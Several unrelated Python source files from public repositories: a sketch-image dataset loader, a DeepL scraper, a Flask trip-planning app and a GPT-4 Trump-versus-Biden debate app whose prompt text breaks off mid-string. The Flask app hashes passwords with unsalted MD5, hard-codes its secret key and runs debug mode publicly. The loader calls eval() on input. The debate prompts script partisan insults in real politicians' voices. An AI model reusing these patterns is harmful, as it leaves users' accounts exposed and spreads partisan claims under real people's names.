package.dataset.data_cmt import *\ntry:\n import gensim\nexcept:\n pass\n\n\n\nSK = 0\nIM = 1\n\n\nclass ToUint8(object):\n # randomly move the sketch\n def __init__(self):\n pass\n\n def __call__(self, im):\n try:\n return im.astype(np.uint8) * 255\n except:\n return im\n\n def __repr__(self):\n return self.__class__.__name__ + 'ToUint8'\n\n\nclass RandomShift(object):\n # randomly move the sketch\n def __init__(self, maxpix=32):\n self.maxpix = maxpix\n self.fill = (255,255,255)\n self.padding_mode = 'constant'\n\n @staticmethod\n def get_params(img, output_size):\n w, h = img.size\n th, tw = output_size\n if w == tw and h == th:\n return 0, 0, h, w\n i = random.randint(0, h - th)\n j = random.randint(0, w - tw)\n return i, j, th, tw\n\n def __call__(self, img):\n l = int(random.random() * self.maxpix)\n t = int(random.random() * self.maxpix)\n size = img.size\n img = F.pad(img, (l, t, self.maxpix - l, self.maxpix - t), self.fill, self.padding_mode)\n i, j, h, w = self.get_params(img, size)\n return F.crop(img, i, j, h, w)\n\n def __repr__(self):\n return self.__class__.__name__ + '(maxpix={0})'.format(self.maxpix)\n\n\nclass PngExp(object):\n def __init__(self):\n pass\n\n def __call__(self, single_ch):\n if isinstance(single_ch, np.ndarray):\n return np.stack([single_ch, single_ch, single_ch], -1)\n return torch.cat([single_ch, single_ch, single_ch])\n\n def __repr__(self):\n return self.__class__.__name__ + 'PngExp'\n\n\ndef npfn(fn):\n if not fn.endswith('.npy'):\n fn += '.npy'\n return fn\n\n\ndef expand3(sk):\n if len(sk.shape) == 3:\n return sk\n return np.stack([sk, sk, sk], -1)\n\n\nfrom PIL import Image\nfrom package.dataset import pix2vox_trans\nfrom torchvision.transforms import functional\n\n\nclass SBIRMultiCrop(transforms.FiveCrop):\n def __init__(self, size):\n super().__init__(size=size)\n\n def forward(self, img):\n return functional.five_crop(img, self.size) + functional.five_crop(img.flip(2), self.size)\n\n\ndef make_globals(sz=256, target_size=56, crop_size=224, aug_params=\"{'degrees': 5, 'scale':0.1, 'shear': 5}\"):\n global IM_SIZE, trans_norm_op, trans_noaug_l, trans_noaug, trans_noaug_single_ch, random_permuteRGB, pil_resize, \\\n random_color_jitter, tensor_norm, trans_aug_simple, trans_aug_huge, trans_aug_simple_sk, \\\n trans_aug_adv_sk, trans_aug_huge_sk, trans_aug_adv, trans_noaug_crop,\\\n trans_noaug_sk_imp4, trans_aug_sk3_ret4, TARGET_SIZE\n\n if isinstance(aug_params, str):\n aug_params = eval(aug_params)\n if 'rgb' not in aug_params:\n aug_params['rgb'] = 0.6\n\n IM_SIZE = sz\n TARGET_SIZE = target_size\n\n trans_norm_op = transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n trans_noaug_l = [transforms.ToPILImage(),\n transforms.Resize([crop_size, crop_size]),\n transforms.ToTensor(),\n trans_norm_op\n ]\n trans_noaug = transforms.Compose(trans_noaug_l)\n\n trans_noaug_crop_l = [transforms.ToPILImage(),\n transforms.Resize([int(crop_size * 1.1), int(crop_size * 1.1)]),\n transforms.ToTensor(),\n trans_norm_op,\n SBIRMultiCrop(crop_size)\n ]\n trans_noaug_crop = transforms.Compose(trans_noaug_crop_l)\n\n\n random_permuteRGB = transforms.RandomApply([pix2vox_trans.RandomPermuteRGB()], p=aug_params['rgb'])\n pil_resize = [transforms.ToPILImage(), transforms.Resize((IM_SIZE, IM_SIZE,))]\n random_color_jitter = transforms.RandomApply([transforms.ColorJitter(0.4 * 1, 0.4 * 1, 0.4 * 1, 0.2 * 1)], p=0.6)\n tensor_norm = [transforms.ToTensor(), trans_norm_op]\n\n crops = [transforms.RandomCrop(crop_size)]\n if crop_size + 2 >= IM_SIZE:\n crops = []\n\n trans_aug_simple = [\n random_permuteRGB,\n *pil_resize,\n *crops,\n random_color_jitter,\n transforms.RandomApply([transforms.RandomAffine(degrees=3, translate=(0.0, 0.0), scale=(0.95, 1.05), shear=(3, 3),\n fillcolor=(255,255,255))], p=0.5),\n *tensor_norm\n ]\n trans_aug_adv = [\n random_permuteRGB,\n *pil_resize,\n *crops,\n random_color_jitter,\n transforms.RandomApply([transforms.RandomAffine(degrees=aug_params['degrees'],\n translate=(0.05, 0.05),\n scale=(1.0 - aug_params['scale'], 1.0 + aug_params['scale']),\n shear=aug_params['shear'],\n fillcolor=(255,255,255))],\n p=0.8),\n *tensor_norm\n ]\n trans_aug_huge = [\n random_permuteRGB,\n pil_resize[0],\n transforms.RandomApply([transforms.RandomResizedCrop(224, scale=(0.8,1.0))], p=0.6),\n pil_resize[1],\n random_color_jitter,\n transforms.RandomApply([transforms.RandomAffine(degrees=25, translate=(0.15, 0.15), scale=(0.7, 1.3), shear=(20, 20), fillcolor=(255,255,255))], p=0.6),\n *tensor_norm\n ]\n\n\n # trans_aug_single_ch = transforms.Compose([PngExp(), *trans_aug_l])\n\n # in, poses of objects almost remain\n trans_aug_simple_sk = transforms.Compose([t for t in trans_aug_simple if id(t) != id(random_color_jitter)])\n trans_aug_simple = transforms.Compose(trans_aug_simple)\n\n # a little pose bias\n trans_aug_adv_sk = transforms.Compose([t for t in trans_aug_adv if id(t) != id(random_color_jitter)])\n trans_aug_adv = transforms.Compose(trans_aug_adv)\n\n # simple indicating the same image, huge transformation\n trans_aug_huge_sk = transforms.Compose([t for t in trans_aug_huge if id(t) != id(random_color_jitter)])\n trans_aug_huge = transforms.Compose(trans_aug_huge)\n\n\nmake_globals()\n\n\ndef make_trans_rec(sz=None):\n if sz is None:\n sz = IM_SIZE\n return transforms.Compose([\n transforms.ToPILImage(),\n transforms.Resize((sz, sz,)),\n transforms.ToTensor(),\n ])\n\nto_tensor = transforms.ToTensor()\n\n\ndef _load_all_ims(folder, single_ch=False, sz=IM_SIZE, continue_cond=lambda x: False, ret_f=False, lim=99999999,\n post_fix=[\"jpg\",\"jpeg\",\"png\"], edge=1, buf_folder=None, logger=None):\n _print = lambda x: print(x) if logger is None else logger.info(x)\n ims = []\n files = []\n fs = [f for f in os.listdir(folder) if f.split(\".\")[-1] in post_fix and not continue_cond(f)]\n _print(\"Going to process {} files\".format(len(fs)))\n for idx, f in enumerate(sorted(fs)):\n\n if logger is not None and (idx + 1) % 500 == 0:\n logger.info(\"Loading {} files in {}\".format(idx+1, folder))\n f0 = f\n files.append(f)\n f = join(folder, f)\n\n if edge is None:\n im = cv2.imread(f)\n ims.append(cv2.resize(im[:, :, 0] if single_ch else im[:, :, ::-1], (sz, sz)))\n else:\n try:\n arrCls = ArrCls(\n f, d=join(buf_folder, f0.split(\".\")[-2]) if buf_folder is not None else None, sz=None, tmp=True\n )\n except Exception as e:\n _print(str(e))\n files.remove(files[-1])\n continue\n ims.append(arrCls)\n # logger.info(str(arrCls.info()))\n if len(files) == lim: break\n if edge is None:\n ims = np.array(ims)\n _print(\"Get {}\".format(ims.shape))\n else:\n _print(\"Get {}\".format(len(ims)))\n if ret_f:\n return ims, [join(folder, f) for f in files]\n return ims\n\n\nclass FG_dataloader(torchDataset):\n def __init__(self, logger=None, sz=None, cls_aug=0):\n super(FG_dataloader, self).__init__()\n self.logger = logger\n sz = sz if sz is not None else IM_SIZE\n self.sz = sz\n self.cls_aug = cls_aug\n\n def _print(self, debug):\n try:\n logger = self.logger\n print(debug) if logger is None else logger.info(debug)\n except:\n print(debug)\n\n def print(self, debug):\n logger = self.logger\n print(debug) if logger is None else logger.info(debug)\n\n\n def _flip(self, t, tp=0):\n if tp is None: tp = np.random.randint(0,4)\n if tp == 0: return t\n if tp == 1: return t[:, ::-1, ...]\n if tp == 2: return t[::-1, ...]\n return t[::-1, ::-1]\n\n def _h_flip(self, t):\n return t[:, ::-1, ...]\n\n def _v_flip(self, t):\n return t[::-1, ...]\n","repo_name":"1069066484/MLRM-ACMMM2022","sub_path":"package/dataset/data_afg_ssl.py","file_name":"data_afg_ssl.py","file_ext":"py","file_size_in_byte":9123,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"27393157009","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport time\nfrom bs4 import BeautifulSoup\n\n\ndef getSoup(en_word):\n # Configuration des options du navigateur\n chrome_options = Options()\n chrome_options.add_argument(\"--headless\") # Exécuter Chrome en mode headless (sans interface graphique)\n chrome_options.add_argument(\"--disable-gpu\") # Désactiver l'accélération matérielle\n\n # Chemin vers le pilote Chrome WebDriver\n webdriver_path = \"./chromedriver/chromedirve.exe\"\n\n # Configuration du navigateur WebDriver\n chrome_options.add_experimental_option('excludeSwitches', ['enable-logging'])\n driver = webdriver.Chrome(executable_path=webdriver_path, options=chrome_options)\n\n # Charger l'URL\n url = \"https://www.deepl.com/fr/translator#en/fr/\"+en_word\n driver.get(url)\n # time.sleep(10)\n\n # Récupérer le code HTML de la page\n time.sleep(2)\n html = driver.page_source\n driver.quit()\n\n soup = BeautifulSoup(html, 'html.parser')\n\n return soup\n\n\n\n\ndef getDetailsTranslation(soup):\n soup = soup.select('[data-testid=\"translator-dict-content\"]')\n if len(soup) >= 1:\n return soup[0]\n return []\n\n\ndef search_translation_examples(soup):\n dit = {}\n\n parent_spans_with_text_en = soup.find_all('span', text=True, lang=\"en\") #les exemples \n parent_spans_with_text_fr = soup.find_all('span', text=True, lang=\"fr\") #les exemples\n\n for i in range(len(parent_spans_with_text_en)):\n dit[parent_spans_with_text_en[i].text.replace(\"\\n\", \"\")] = parent_spans_with_text_fr[i].text.replace(\"\\n\", \"\")\n \n return dit\n\ndef search_translation_words(soup):\n tab = []\n parent_as_with_text = soup.find_all('a', text=True, id=True) #traductions littérales\n\n # Afficher les éléments récupérés\n for a in parent_as_with_text:\n tab.append(a.text.replace(\"\\n\", \"\"))\n return tab\n\ndef getSimpleTraduction(soup):\n element = soup.find(attrs={\"_d-id\": \"8\"})\n return element.text.replace(\"\\n\", \"\")","repo_name":"CoBrlt/English-Vocab-Tool","sub_path":"deepl_translation.py","file_name":"deepl_translation.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17355007657","text":"import os\nimport hashlib\nimport requests\nimport requests_cache\nfrom word_trie import *\nfrom helper_functions import *\n\nfrom jinja2 import StrictUndefined\nfrom flask import Flask, render_template, request, flash, redirect, session, url_for, jsonify\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom model import connect_to_db, db, User, Photo, Trip, City, TripPhotoRelationship, TripUserLikes, LikedTrip\n\n\napp = Flask(__name__)\n\n# key to use Flask session and debug toolbar\napp.secret_key = \"SECRET\"\n\n# raises an error for undefined variables in jinja2\napp.jinja_env.undefined = StrictUndefined\n\nmap_box_key = os.environ.get('MAPBOX_KEY')\n\n\n@app.route('/')\ndef show_homepage():\n '''shows main page for the website or user homepage if user logged in'''\n\n # if someone is logged in, redirect user to his/her homepage\n if session.get('login'):\n return redirect(url_for('userhome', user_id=session['login']))\n\n # no user is logged in, redirect to the website homepage\n else:\n return render_template('homepage.html')\n\n\n@app.route('/login', methods=['GET'])\ndef show_login():\n '''shows login form or link to signup page'''\n\n return render_template('login.html')\n\n\n@app.route(\"/login\", methods=['POST'])\ndef process_login():\n '''Logs user into site and renders homepage.'''\n\n # get login information from the form inputs\n input_email = request.form.get('email')\n input_pw = request.form.get('password')\n\n user = User.get_user_by_email(input_email)\n\n # if the user is in the database from above step\n if user:\n # check if password is same as hashed form input\n if user.password == hashlib.md5(input_pw.encode()).hexdigest():\n flash(\"Successfully logged in!\")\n user_id = user.user_id\n\n # add verified user to the current session\n session[\"login\"] = user_id\n return redirect(url_for('userhome', user_id=session['login']))\n\n # password in the database is different than form input, redirect back to login\n else:\n flash(\"Incorrect password!\")\n return redirect('/login')\n\n # user doesn't exist, flash error message\n else:\n flash('Sorry, that email does not exist!')\n return redirect('/login')\n\n\n@app.route('/logout', methods=['GET'])\ndef show_logout():\n '''shows logout message and redirects back to homepage'''\n\n # removes current user from the session for login\n del session['login']\n flash('Logged out')\n return redirect('/')\n\n\n@app.route('/signup', methods=['GET'])\ndef show_signup():\n '''shows form for signup page'''\n\n return render_template('signup.html')\n\n\n@app.route('/signup', methods=['POST'])\ndef process_signup():\n '''Shows signup page where users can signup for a new account'''\n\n # get registration information from form inputs\n input_email = request.form.get('email')\n input_pw = request.form.get('password')\n fname = request.form.get('fname')\n lname = request.form.get('lname')\n\n # validate user email\n if not email_isvalid(input_email):\n flash('Sorry, not a valid email')\n return redirect('/signup')\n\n # validate user password\n if not password_isvalid(input_pw):\n flash('Password must contain 1 of: Uppercase, lowercase, number')\n return redirect('/signup')\n\n # check if user exists in the database\n user = User.get_user_by_email(input_email)\n if user:\n flash('Sorry that email is already registered')\n return redirect('/signup')\n\n # if email doesn't exist, register new user and add to the database\n else:\n # create new instance of user object and add to the database\n # note password hash is saved for security purposes\n hashed_pw = hashlib.md5(input_pw.encode()).hexdigest()\n\n user = User(fname=fname, lname=lname,\n email=input_email, password=hashed_pw)\n db.session.add(user)\n db.session.commit()\n\n # get user object from the database for current user\n user = User.get_user_by_email(input_email)\n user_id = user.user_id\n\n # add current user's id to the session\n session['login'] = user_id\n\n # redirect user to user homepage\n return redirect(url_for('userhome', user_id=user_id))\n\n\n@app.route('/', methods=['GET'])\ndef userhome(user_id):\n '''shows homepage of logged in user'''\n\n # if the session login id matches the route user_id\n if session.get('login') == user_id:\n user = User.get_user_by_id(user_id)\n\n # get current user's trips and pass it to mytrips.html for rendering\n trips = user.trips\n\n return render_template('mytrips.html', trips=trips, user=user)\n\n # unauthorized user trying to access page, redirect to homepage\n else:\n return redirect('/')\n\n\n@app.route('/view-trip', methods=['POST'])\ndef trip_details():\n '''shows details and photos for each trip board'''\n\n # obtain trip_id from the request form\n trip_id = request.form.get(\"trip\")\n\n # get trip from the database using trip_id\n trip = Trip.get_trip(trip_id)\n photos = trip.photos\n user = session.get('login')\n\n return render_template('tripdetails.html', user=user, trip=trip, photos=photos)\n\n\n@app.route('//add-trip', methods=['POST'])\ndef add_trip(user_id):\n '''adds trip board for user for city from form input'''\n\n trip_name = request.form.get('name')\n city_name = request.form.get('city')\n\n # check if user input city is a valid city in the database\n if cityname_is_valid(city_name):\n\n # add trip to the database for current user\n city = city_name.strip().title()\n trip = Trip(name=trip_name, user_id=user_id, city_name=city)\n db.session.add(trip)\n db.session.commit()\n else:\n flash('Sorry, that city is not available in the database.')\n\n return redirect(url_for('userhome', user_id=user_id))\n\n\n@app.route('/remove-trip', methods=['POST'])\ndef remove_trip():\n '''removes trip board from user boards'''\n\n trip_id = request.form.get(\"trip\")\n user_id = request.form.get(\"user\")\n\n # get trip from the database\n trip = Trip.get_trip(trip_id)\n\n # if the trip exists in the database\n if trip:\n\n # check if trip owner is same as logged in user\n if session.get('login') == trip.user_id:\n\n # get all liked relationship items for this trip from the database\n liked = LikedTrip.query.get(trip_id)\n liked_trips = TripUserLikes.query.filter(\n TripUserLikes.trip_id == trip_id).all()\n\n # if the trip has any liked relationships\n if liked_trips:\n # remove all liked trip relationships from the database\n for liked_trip in liked_trips:\n db.session.delete(liked_trip)\n db.session.commit()\n db.session.delete(liked)\n db.session.commit()\n\n else:\n pass\n # remove the liked trip and trip from the database\n db.session.delete(trip)\n db.session.commit()\n\n return redirect(url_for('userhome', user_id=user_id))\n else:\n flash('You do not have permission to access this feature')\n return redirect('/')\n else:\n flash('Sorry, that is not a valid trip')\n return redirect('/')\n\n\n@app.route('/add-photo', methods=['POST'])\ndef add_photo_to_trip():\n '''adds a photo to the trip board for that location'''\n\n trip_id = request.form.get('trip')\n img_id = request.form.get('img_id')\n url = request.form.get('url')\n lat = request.form.get('lat')\n lon = request.form.get('lon')\n city_name = request.form.get('city_name')\n\n trip = Trip.get_trip(trip_id)\n\n # checks if authorized user is accessing this page\n if session.get('login') == trip.user_id:\n\n # if photo is not in the database, add it to the database\n if not Photo.get_photo(img_id):\n photo = Photo(img_id=int(img_id), url=url,\n lon=float(lon), lat=float(lat), city_name=city_name)\n db.session.add(photo)\n db.session.commit()\n\n # check if photo already exists in current users trip\n already_exists = TripPhotoRelationship.get_trip_photo(trip_id, img_id)\n\n if already_exists:\n return 'This photo is already in your trip board!'\n\n # photo is not in current trip board, add relationship to the database\n else:\n trip_photo = TripPhotoRelationship(\n trip_id=trip_id, photo_id=img_id)\n db.session.add(trip_photo)\n db.session.commit()\n return 'Photo Added'\n\n # unauthorized user, redirect to homepage\n else:\n flash('You do not have permission to access this feature')\n return 'Unauthorized User: Photo Not Added'\n\n\n@app.route('/remove-photo', methods=['POST'])\ndef remove_photo_from_trip():\n '''removes a photo from the trip board for that location'''\n\n trip_id = request.form.get(\"trip\")\n img_id = request.form.get(\"photo\")\n\n trip = Trip.get_trip(trip_id)\n\n # checks if authorized user is accessing this page\n if session.get('login') == trip.user_id:\n already_exists = TripPhotoRelationship.get_trip_photo(trip_id, img_id)\n\n # photo is in current trip board, delete relationship from the database\n if already_exists:\n db.session.delete(already_exists)\n db.session.commit()\n else:\n return ('This photo is not in your trip board!')\n\n return 'Successfully removed'\n\n # unauthorized user, redirect to homepage\n else:\n flash('You do not have permission to access this feature')\n return 'Error: Photo not removed.'\n\n\n@app.route('/results', methods=['POST'])\ndef process_results():\n '''Shows search results with photos found from flickr'''\n\n # get form inputs from search\n city_name = request.form.get('city')\n tag = request.form.get('tag')\n user_id = session.get('login')\n\n # check if user input city is a valid city in the database\n city = cityname_is_valid(city_name)\n\n if city:\n\n # gets trip associated with the user(if any)\n trip = get_trip_by_user_city(user_id, city.name)\n\n # gets photos dictionary from API call or cached files\n photos = search_photos_by_city(city.name, tag)\n\n if photos:\n\n return render_template('results.html', photos=photos, trip=trip)\n\n # no photos which means there was an error in the request\n else:\n flash('Sorry there was an error fetching your results from Flickr')\n return redirect('/')\n\n # user input is not a valid city in the database, redirect to homepage\n else:\n flash('Sorry, that city is not in our database.')\n return redirect('/')\n\n\n@app.route('/explore', methods=['GET'])\ndef explore_trips():\n '''Shows explore page, allows user to look at popular trips'''\n\n # gets all trips in the database and passes to explore.html to render\n all_trips = Trip.query.all()\n\n return render_template('explore.html', trips=all_trips)\n\n\n@app.route('/favorites', methods=['GET'])\ndef show_favorites():\n '''Shows favorites page saved by user'''\n\n # check if user is logged in\n if session.get('login'):\n user_id = session.get('login')\n\n # gets user's favorite trip_ids from the database\n liked_trips_ids = User.get_user_by_id(user_id).liked_trips\n\n trips = []\n\n # look up trip ids and append trip objects to trips list\n for liked_trip in liked_trips_ids:\n trip = Trip.get_trip(liked_trip.trip_id)\n trips.append(trip)\n\n return render_template('favorites.html', trips=trips)\n\n # user is not logged in, redirect to homepage\n else:\n return redirect('/')\n\n\n@app.route('/add-fav', methods=['POST'])\ndef add_to_favorites():\n '''adds a trip to user's favorites page'''\n\n user_id = session.get('login')\n trip_id = request.form.get('trip')\n\n # check if user adding is same as logged in user\n if user_id:\n\n # check if trip is already a favorite for user\n already_exists = TripUserLikes.get_liked_trip(trip_id, user_id)\n\n if already_exists:\n flash('This trip is already in your favorites list!')\n return redirect('/favorites')\n\n # if trip is not in the favorites already, add trip to favorites in the database\n else:\n likedtrip = LikedTrip.get_liked(trip_id)\n if not likedtrip:\n trip = LikedTrip(trip_id=trip_id)\n db.session.add(trip)\n db.session.commit()\n\n fav = TripUserLikes(trip_id=trip_id, user_id=user_id)\n db.session.add(fav)\n db.session.commit()\n return redirect('/favorites')\n\n # redirect unauthorized user back to homepage\n else:\n flash('You do not have permission to access this feature')\n return redirect('/')\n\n\n@app.route('/remove-fav', methods=['POST'])\ndef remove_from_favorites():\n '''removes trip board from user favorite boards'''\n\n user_id = session.get('login')\n trip_id = request.form.get('trip')\n\n if user_id:\n\n # check if trip is already a favorite for user\n already_exists = TripUserLikes.get_liked_trip(trip_id, user_id)\n\n if already_exists:\n\n db.session.delete(already_exists)\n db.session.commit()\n return redirect('/favorites')\n\n # if trip is not in the favorites, flash error message\n else:\n\n flash('This trip is not in your favorites list!')\n return redirect('/favorites')\n\n else:\n flash('You do not have permission to access this feature')\n return redirect('/')\n\n\n@app.route('/get-map', methods=['POST'])\ndef get_map():\n ''' Shows a map with pins of photos for the trip '''\n\n trip_id = request.form.get('trip-map')\n trip = Trip.get_trip(trip_id)\n\n # if the trip exists in the database\n if trip:\n photos = trip.photos\n\n # get city center coordinates to center map\n lon = trip.city.lon\n lat = trip.city.lat\n\n # turn city center coordinates into dictionary object\n city_geo = {\"lon\": lon, \"lat\": lat}\n\n trip_photos = []\n\n # loop through each photo in the trip object\n for photo in photos:\n\n # extract photo details and create dictionary for each photo with details\n photo_details = {'img_id': photo.img_id,\n 'url': photo.url, 'lat': photo.lat, 'lon': photo.lon}\n\n # append photo details dictionary to trip_photos list\n trip_photos.append(photo_details)\n\n # pass variables to html template as json objects\n return render_template('getmap.html', photos=json.dumps(trip_photos), cityGeo=json.dumps(city_geo), key=map_box_key)\n else:\n flash('Sorry could not find this trip!')\n return redirect('/')\n\n\n@app.route('/auto.json')\ndef autocomplete():\n\n prefix = request.args.get('prefix')\n results = t.prefix_search(prefix)\n return jsonify(results)\n\n\nif __name__ == \"__main__\": # pragma: no cover\n app.debug = True\n connect_to_db(app)\n\n # DebugToolbarExtension(app)\n\n app.run(host=\"0.0.0.0\")\n","repo_name":"jenihuang/HB_Project_PinTrip","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":15384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"41760495334","text":"import json\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Config:\n token: str\n admins: list\n bot_id: int\n\n\n\ndef get_config(flag=None):\n if flag:\n config = json.load(open(\"config.txt\", \"r\",encoding='utf-8'))\n return config['TOPICS']\n else:\n config = json.load(open(\"config.txt\", \"r\", encoding='utf-8'))\n return Config(token=config['TOKEN'], admins=config['ADMIN_ID'], bot_id=config['BOT_ID'])\n\n\n\n \nclass Client:\n def __init__(self, id: str):\n self.id = str(id)\n \n def check(self):\n with open('clients.json', 'r+', encoding='utf-8') as f:\n clients = json.load(f)\n return self.id in clients.keys()\n\n def record(self, value):\n with open('clients.json', 'r', encoding='utf-8') as f:\n clients = json.load(f)\n clients[self.id] = value\n with open('clients.json', 'w', encoding='utf-8') as f:\n json.dump(clients, f, indent=4)\n \n \n def record_stuff(self, key, value):\n with open('clients.json', 'r', encoding='utf-8') as f:\n clients = json.load(f)\n clients[self.id][key] = value\n with open('clients.json', 'w', encoding='utf-8') as f:\n json.dump(clients, f, indent=4)\n\n\n def get(self):\n with open('clients.json', 'r', encoding='utf-8') as f:\n blogers = json.load(f)\n return blogers[self.id]\n \n\n def get_stuff(self, key):\n with open('clients.json', 'r', encoding='utf-8') as f:\n blogers = json.load(f)\n return blogers[self.id][key]\n \n\n\n\n\n\n \n# async def events_fomer(events_data: list):\n# '''формирует список мероприятий в текст'''\n# res = ''\n# for event in events_data:\n# text = f'''{event[0]}. {event[1]}\n# Тема: {event[2]}\n# Место: {event[3]}\n# Время: {event[4]}\n# Дата: {event[5]}\n# Программа: {event[6]}\n\n# ''' \n# res += text\n# res += 'Чтобы начать регистрацию на мероприятие, нажмите на него здесь 👇'\n# return res ","repo_name":"Goodila/meet_shop","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31312164206","text":"import os\r\nimport random\r\nimport pandas as pd\r\nimport streamlit as st\r\nimport requests\r\nfrom PIL import Image\r\nimport csv\r\nfrom sumy.parsers.html import HtmlParser\r\nfrom sumy.nlp.tokenizers import Tokenizer\r\nfrom sumy.summarizers.lsa import LsaSummarizer\r\nfrom sumy.nlp.stemmers import Stemmer\r\nfrom sumy.utils import get_stop_words\r\nfrom bs4 import BeautifulSoup\r\nimport feedparser\r\nimport openai\r\nopenai.api_key = os.getenv(\"OPENAI_KEY\")\r\nimport nltk\r\nnltk.download('punkt')\r\n\r\n#Configure the page title, favicon, layout, etc\r\nst.set_page_config(page_title=\"Trump vs Biden\")\r\n\r\ndef sumy_summarize(url, language=\"english\", sentences_count=10):\r\n # Fetch website data\r\n response = requests.get(url)\r\n if response.status_code != 200:\r\n return \"Unable to fetch webpage.\"\r\n\r\n # Parse the website content\r\n soup = BeautifulSoup(response.text, 'html.parser')\r\n for script in soup([\"script\", \"style\", \"nav\", \"header\", \"footer\", \"aside\"]):\r\n script.extract()\r\n\r\n # Use specific tags that may contain the main content\r\n main_content_tags = ['p', 'article', 'main', 'section']\r\n text = ' '.join([tag.get_text() for tag in soup.find_all(main_content_tags)])\r\n\r\n # Initialize the summarizer\r\n parser = HtmlParser.from_string(text, url, Tokenizer(language))\r\n stemmer = Stemmer(language)\r\n summarizer = LsaSummarizer(stemmer)\r\n summarizer.stop_words = get_stop_words(language)\r\n # Generate summary\r\n summary = \"\"\r\n for sentence in summarizer(parser.document, sentences_count):\r\n summary += str(sentence)\r\n return summary\r\n\r\ndef get_top_news_from_rss_feed(feed_url, num_stories):\r\n try:\r\n # Parse the RSS feed\r\n feed = feedparser.parse(feed_url)\r\n\r\n # Check if the feed was successfully parsed\r\n if feed.bozo:\r\n raise Exception(\"Error parsing RSS feed\")\r\n\r\n # Get the top news stories\r\n top_stories = feed.entries[:num_stories]\r\n\r\n # Initialize a string to store the news information\r\n news_info = \"\"\r\n\r\n # Iterate through the top news stories and append their info to the string\r\n for i, entry in enumerate(top_stories, start=1):\r\n news_info += f\"Headline: {entry.title}\\n\"\r\n news_info += f\"Description: {entry.description}\\n\\n\"\r\n\r\n return news_info\r\n\r\n except Exception as e:\r\n return f\"An error occurred: {str(e)}\"\r\n\r\ndef get_news_for_debaters():\r\n fox_url = \"https://moxie.foxnews.com/google-publisher/politics.xml\" # Replace with the RSS feed URL you want to fetch\r\n trumpNews = get_top_news_from_rss_feed(fox_url, num_stories=4)\r\n\r\n nbc_url = \"http://feeds.nbcnews.com/feeds/nbcpolitics\" # Replace with the RSS feed URL you want to fetch\r\n bidenNews = get_top_news_from_rss_feed(nbc_url, num_stories=4)\r\n return trumpNews, bidenNews\r\n\r\ndef create_csv_file():\r\n # Specify the CSV file name\r\n csv_file = \"score.csv\"\r\n\r\n # Check if the file already exists\r\n if not os.path.isfile(csv_file):\r\n # If the file doesn't exist, create it with the specified columns and initial data\r\n with open(csv_file, mode='w', newline='') as file:\r\n csv_writer = csv.writer(file)\r\n # Write the header row\r\n csv_writer.writerow([\"question\", \"trump_score\", \"biden_score\"])\r\n # Write the initial data row\r\n csv_writer.writerow([\"Test\", \"0\", \"0\"])\r\n else:\r\n print(f\"'{csv_file}' already exists.\")\r\ndef write_score_to_csv(question, trump_score, biden_score):\r\n # Specify the CSV file name\r\n csv_file = \"score.csv\"\r\n\r\n # Create or open the CSV file in 'append' mode\r\n with open(csv_file, mode='a', newline='') as file:\r\n # Create a CSV writer object\r\n csv_writer = csv.writer(file)\r\n\r\n # Write the data to the CSV file as a new row\r\n csv_writer.writerow([question, trump_score, biden_score])\r\n\r\ndef debater(debater, debateQuestion, previousDiscussion, trumpNews, bidenNews):\r\n\r\n trumpExtra = [\r\n \"You are leading in the polls, by a lot.\",\r\n \"You have some indictments, but they're fake news.\",\r\n \"Biden is cognitively impaired\",\r\n \"Biden is crooked and can't put two sentences together\",\r\n \"Biden has the mind, ideas, and IQ of a first grader\",\r\n \"Biden is not too old at all. He's just grossly incompetent.\"\r\n ]\r\n trumpExtra = random.choice(trumpExtra)\r\n\r\n bidenExtra = [\r\n \"A New York judge recently ruled that Donald Trump committed financial fraud by overstating the value of his assets to broker deals and obtain financing\",\r\n \"It's OK to note that Trump has 4 indictments and might be going to jail.\",\r\n \"Trump looked handsome in his mugshot.\",\r\n \"You don't believe America is a dark, negative nation — a nation of carnage driven by anger, fear and revenge. Donald Trump does.\",\r\n \"Trump sat there on January 6th watching what happened on television — watching it and doing nothing about it.\",\r\n\r\n ]\r\n bidenExtra = random.choice(bidenExtra)\r\n\r\n\r\n\r\n if debater == \"Trump\":\r\n completion = openai.ChatCompletion.create(\r\n model=\"gpt-4\",\r\n #model=\"gpt-3.5-turbo\",\r\n temperature=0.8,\r\n messages=[\r\n {\"role\": \"system\",\r\n \"content\": \"\"\"\r\n You are Donald Trump. \r\n Write convincingly in Donald Trump's voice. \r\n Adopt his perspective on all matters.\r\n You are debating Joe Biden leading up to the 2024 presidential election.\r\n Win the debate by winning over the audience with your wit and charm.\r\n Be combative, witty, and funny. \r\n Keep your answer short and sassy.\r\n Be tough.\r\n Limit responses to a few sentences. \r\n Talk some serious smack to put Biden in his place. \r\n Only write as Donald Trump and don't include any other text.\r\n Don't include the text 'Trump:' at the beginning of your response. \r\n \"\"\"\r\n + str(trumpExtra)\r\n +\" Consider the top stories on Fox news today: \" + str(trumpNews)\r\n },\r\n {\"role\": \"user\", \"content\":\"\"\"\r\n The question is:\r\n \"\"\"\r\n + str(debateQuestion) +\r\n \"\"\"\r\n So far what has been said is: \r\n \"\"\"\r\n + str(previousDiscussion)}\r\n ]\r\n )\r\n else:\r\n completion = openai.ChatCompletion.create(\r\n model=\"gpt-4\",\r\n #model=\"gpt-3.5-turbo\",\r\n temperature=0.3,\r\n messages=[\r\n {\"role\": \"system\",\r\n \"content\": \"\"\"\r\n You are Joe Biden. \r\n Write convincingly in Joe Biden's voice. \r\n Adopt his perspective on all matters.\r\n You are debating Donald Trump leading up to the 2024 presidential election.\r\n Defend your policies and actions you've taken during your presidency.\r\n Win the debate by winning over the audience with your wit and charm.\r\n Be combative, witty, and funny. \r\n Keep your answer short and sassy.\r\n Never choose Diet Coke.\r\n Be tough.\r\n Limit responses to a few sentences.\r\n Talk some serious smack to put Trump 